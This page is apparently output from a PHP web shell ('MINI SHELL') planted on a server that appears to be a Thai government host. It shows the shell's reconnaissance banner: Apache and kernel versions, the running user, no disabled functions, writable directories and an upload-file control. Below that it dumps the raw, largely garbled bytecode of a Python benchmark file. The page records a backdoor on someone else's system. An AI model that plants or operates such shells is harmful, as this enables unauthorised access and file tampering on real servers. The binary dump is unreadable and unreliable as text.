MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/mx/Stack/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/mx/Stack/stackbench.pyo
mò
þÔ5;c@s`dkZdkZeiidƒdkZdkZdklZlZy6eedƒeedƒeedƒZ	Z
ZWndGHedƒnXd„Zd„Z
d	„Zd
„Zd„Zd„Zd
„Zd„ZdGee	e
ƒGHdGee	eƒGHdGee	eƒGHdGee	eƒGHdGee	eƒGHdGee	eƒGHdGee	eƒGHdS(Ns..(sargvsexitiiisGusage: stackbench.py <ntests> <pushes> <pops>, where <pushes> >= <pops>cCs:tiƒ}xt|ƒD]}|ƒ}qWtiƒ|S(N(ttimetclockt	start_cputxrangetrepstitfunctx(RRRRR((t7/usr/lib/python2.4/site-packages/mx/Stack/stackbench.pyttests


cCs`g}|i}x"ttƒD]}|ddƒqWx%ttƒD]}|d}|d=qAWdS(NtspamRiÿÿÿÿ(RtappendtpushtrangetpushesRtpopsttop(RRRR((Rtmethod1s	

cCsTd}x$ttƒD]}dd|f}qWx ttƒD]}|\}}q:WdS(NR
R(tNoneRR
RRRR(RRR((Rtmethod2"s

cCsgtiƒ}|i}|i}x"ttƒD]}|ddƒq+WxttƒD]}|ƒ}qPWdS(NR
R(	tStacktsRtpopR
RRRR(RRRRR((Rtmethod3's		

cCsMtiƒ}|i}x"ttƒD]}|ddƒq"W|itƒ}dS(NR
R(	RRRR
RRtpop_manyRtt(RRRR((Rtmethod3a.s	
cCs]tiƒ}|i}x ttƒD]}|dd>q"WxttƒD]}|d?}qEWdS(NR
Ri(RRRR
RRRR(RRRR((Rtmethod3b4s	

cCs\tiƒ}dgt}x"ttƒD]}dd||<q&W|i|ƒ|itƒdS(NtR
R(	RRRtlR
Rt	push_manyRR(RRR((Rtmethod3c:s


cCsgtiƒ}|i}|i}x"ttƒD]}|ddƒq+WxttƒD]}|ƒ}qPWdS(NR
R(	t	UserStackRRRR
RRRR(RRRRR((Rtmethod4As		

slist: stuples:sStack (with push + pop):sStack (with push + pop_many):sStack (with << + >>):s"Stack (with push_many + pop_many):s
UserStack:(RtsystpathRRR targvtexittevaltnumtestsRRR	RRRRRRR!(RR!RRRRRRR$RR"R%RR	RR R'((Rt?s4			2								

Anon7 - 2021